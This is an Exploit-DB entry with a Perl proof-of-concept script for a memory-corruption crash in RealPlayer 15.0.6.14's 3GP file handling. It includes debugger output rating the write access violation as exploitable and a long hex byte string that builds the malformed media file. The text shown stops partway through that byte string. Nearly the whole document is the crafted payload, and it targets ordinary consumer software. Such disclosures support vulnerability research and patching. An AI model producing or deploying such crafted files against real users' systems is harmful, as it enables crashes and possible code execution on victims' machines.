Exploit-DB #22154
Description: RealPlayer 15.0.6.14.3gp - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-22
Author: coolkaveh

Exploit:
#!/usr/bin/perl
#Title    :  RealPlayer 3GP file handling memory corruption
#Version  :  15.0.6.14
#Date     :  2012-10-18
#Vendor   :  http://www.real.com/
#Impact   :  High
#Contact  :  coolkaveh [at] rocketmail.com
#Twitter  :  @coolkaveh
#tested   :  XP SP3 ENG
#Author   :  coolkaveh
###########################################################################################################
#Bug :
#----
#Memory corruption during the handling of the 3GP files a context-dependent attacker can execute
#arbitrary code.
###########################################################################################################
#eax=02ba99b0 ebx=244fe2d0 ecx=0012f5ac edx=0012f5bc esi=00000000 edi=00000004
#eip=614394df esp=3d891890 ebp=0012f578 iopl=0         nv up ei pl nz na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00250206
#*** ERROR: Symbol file could not be found.  Defaulted to export
#symbols for C:\Program Files\Real\RealPlayer\codecs\dmp4.dll -
#dmp4!GetGUID+0x1836f:
#614394df 8944241c        mov     dword ptr [esp+1Ch],eax
#ss:0023:3d8918ac=????????
#0:000> r;!exploitable -v;q
#eax=02ba99b0 ebx=244fe2d0 ecx=0012f5ac edx=0012f5bc esi=00000000 edi=00000004
#eip=614394df esp=3d891890 ebp=0012f578 iopl=0         nv up ei pl nz na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00250206
#dmp4!GetGUID+0x1836f:
#614394df 8944241c        mov     dword ptr [esp+1Ch],eax
#ss:0023:3d8918ac=????????
#HostMachine\HostUser
#Executing Processor Architecture is x86
#Debuggee is in User Mode
#Debuggee is a live user mode debugging session on the local machine
#Event Type: Exception
#*** ERROR: Symbol file could not be found.  Defaulted to export
#symbols for ntdll.dll -
#Exception Faulting Address: 0x3d8918ac
#First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
#Exception Sub-Type: Write Access Violation 
#Exception Hash (Major/Minor): 0x247c7f22.0x247c7f63
# 
#Stack Trace:
#dmp4!GetGUID+0x1836f
#Instruction Address: 0x[PII_REDACTED]4394df
# 
#Description: User Mode Write AV
#Short Description: WriteAV
#Exploitability Classification: EXPLOITABLE
#Recommended Bug Title: Exploitable - User Mode Write AV starting at
#dmp4!GetGUID+0x[PII_REDACTED]01836f (Hash=0x247c7f22.0x247c7f63)
# 
#User mode write access violations that are not near NULL are exploitable.
###########################################################################################################

my $poc = 
"\x00\x00\x00\x18\x66\x74\x79\x70\x33\x67\x70\x36\x00\x00\x01\x00\x69\x73\x6F\x6D\x33\x67\x70\x36\x00".
"\x00\x0F\x2D\x6D\x6F\x6F\x76\x00\x00\x00\x6C\x6D\x76\x68\x64\x00\x00\x00\x00\xCC\x8C\xBA\xF2\xCC\x8C".
"\xBA\xF2\x00\x00\x02\x58\x00\x00\x19\xFA\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6F\x64\x73\x00\x00".
"\x00\x00\x10\x07\x00\x4F\xFF\xFF\x28\x08\xFF\x00\x00\x05\xA4\x74\x72\x61\x6B\x00\x00\x00\x5C\x74\x6B".
"\x68\x64\x00\x00\x00\x01\xCC\x8C\xBA\xF2\xCC\x8C\xBA\xF2\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x19".
"\xFA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40".
"\x00\x00\x00\x00\xB0\x00\x00\x00\x90\x00\x00\x00\x00\x05\x40\x6D\x64\x69\x61\x00\x00\x00\x20\x6D\x64".
"\x68\x64\x00\x00\x00\x00\xCC\x8C\xBA\xF2\xCC\x8C\xBA\xF2\x00\x00\x00\x0C\x00\x00\x00\x85\x55\xC4\x00".
"\x00\x00\x00\x00\x4C\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x76\x69\x64\x65\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x49\x73\x6F\x4D\x65\x64\x69\x61\x20\x46\x69\x6C\x65\x20\x50\x72\x6F".
"\x64\x75\x63\x65\x64\x20\x62\x79\x20\x47\x6F\x6F\x67\x6C\x65\x2C\x20\x35\x2D\x31\x31\x2D\x32\x30\x31".
"\x31\x00\x00\x00\x04\xCC\x6D\x69\x6E\x66\x00\x00\x00\x14\x76\x6D\x68\x64\x00\x00\x00\x01\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6E\x66\x00\x00\x00\x1C\x64\x72\x65\x66\x00\x00\x00\x00".
"\x00\x00\x00\x01\x00\x00\x00\x0C\x75\x72\x6C\x20\x00\x00\x00\x01\x00\x00\x04\x8C\x73\x74\x62\x6C\x00".
"\x00\x00\xB8\x73\x74\x73\x64\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xA8\x6D\x70\x34\x76\x00\x00".
"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB0\x00".
"\x90\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xFF".
"\xFF\x00\x00\x00\x52\x65\x73\x64\x73\x00\x00\x00\x00\x03\x44\x00\x00\x00\x04\x3C\x20\x11\x00\x07\x61".
"\x00\x01\x19\xE8\x00\x00\xCD\xE0\x05\x2D\x00\x00\x01\xB0\x08\x00\x00\x01\xB5\x89\x13\x00\x00\x01\x00".
"\x00\x00\x01\x20\x00\xC4\x8D\x88\x00\x65\x05\x84\x12\x14\x63\x00\x00\x01\xB2\x4C\x61\x76\x63\x35\x32".
"\x2E\x34\x31\x2E\x30\x06\x01\x02\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00".
"\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x1C\x73\x74\x73\x73\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00".
"\x00\x01\x00\x00\x00\x3D\x00\x00\x00\x79\x00\x00\x01\x00\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00".
"\x14\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x01".
"\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x01\x00".
"\x00\x00\x06\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00".
"\x00\x09\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x0A\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00\x00".
"\x0B\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00\x00\x0D".
"\x00\